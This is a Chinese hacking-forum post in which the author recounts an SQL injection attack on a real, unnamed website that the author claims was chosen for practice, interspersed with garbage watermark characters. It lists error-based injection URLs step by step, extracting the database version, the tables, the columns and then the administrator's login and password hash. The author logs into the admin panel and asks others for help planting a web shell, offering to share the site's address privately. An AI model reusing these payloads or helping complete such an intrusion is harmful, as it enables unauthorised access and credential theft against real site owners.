近一直在学习数据库方面的知识,一直在钻研PHP的一些高级注入语法,感觉比较的有意思。于是就在网上找有洞的网站练习手注。于是有了下文。# o0 X' t# q0 L9 k( J8 S
首先找到网站后台,加了个admin,后台出来了 ! N R& q& w, @- s' `
. \/ U- @9 ~2 B6 I( b
' J$ a1 [8 ~, U3 }. Z; e' ]9 C然后看了下网站,发现貌似都是html静态网页,但是通过图片链接发现应该是伪静态,于是在后面加了个 ',报错了,初步判断可以注入2 Y/ |0 E4 \8 W2 ]5 X% O
http://www.myhack58.com/Article/UploadPic/2012-12/20121218145843714.jpg 从报错语句中我们可以判断出存在frame_board_conference 表,知道存在frame_board_conference,可以方便我们后面的注入。这里我用的是错误回显注入。 首先查下数据库相关信息。 www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*) from+frame_board_conference+group+by+concat(0x3a,concat(0x3a,database(),0x3a,version()),floor(rand(0)*2)))—
( S3 Z' t" u# E' @) f. z0 I# C) [ @+ p8 h% R
5 Y& V" w9 ` @" i* C9 G6 ]
+ `8 C: T3 G! d% m; r* C/ B. T
+ P5 D$ M5 E0 G# Khttp://www.myhack58.com/Article/UploadPic/2012-12/20121218145846722.jpg, X, ^ d, a8 C2 ^4 G! r; t* Q
' D. z% f% s9 K
: |6 d# k& {) s- p7 N# ?; ~
: ~0 X+ i- \* F" C
" w* M+ d" F4 |; V可以看到数据库版本为5.0.32,存在information_schema表,可以进一步的注入。 然后我们查表 http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(table_name),1,150)from+information_schema.tables+where+table_schema=database()),0x3a,floor(rand(0)*2)))-- 得到管理员表段frame_administrator
2 ]! B( H( {% {# Y7 h5 ~5 K$ R% _; F! x. U* w
b# x% L1 w, y& }5 y
http://www.myhack58.com/Article/UploadPic/2012-12/20121218145846695.jpg
3 ?4 K2 m" o$ r6 V1 E* h1 ]% N7 r7 Z$ Q) U! R X$ N8 U
& T+ u' J; c" J5 b4 X% m2 I+ r; i
查字段 http://www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(column_name),1,150)from+information_schema.columns+where+table_name=0x6672616d655f61646d696e6973747261746f72),0x3a,floor(rand(0)*2)))--: v; T, T% U9 S, b* c
5 E7 S7 Y% g+ d$ B" h
$ n% O% J- W5 Q1 y
' V4 g7 I1 M; f$ D 得到userID,userPass字段 最后 http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(userID,0x3a,userPass,0x0a),1,150)from+frame_administrator),0x3a,floor(rand(0)*2)))--2 L! E H6 M( }6 L0 ?
& X# K. @& l- ?1 T$ z% S# k
2 x& Q: ^7 c$ y% ?7 t$ v5 E6 |$ |4 B6 X9 P. [4 N9 D, d
得到最终结果admin eb0a191797624dd3a48fa681d3061212 解密后成功进入后台,但是在获得shell的过程中出了点问题,可以穿php但是貌似无法解析,不知道什么原因,本人很菜,在这里希望大牛有兴趣的话帮忙拿下shell,感激不尽。Pm我,我把网址发给你。 |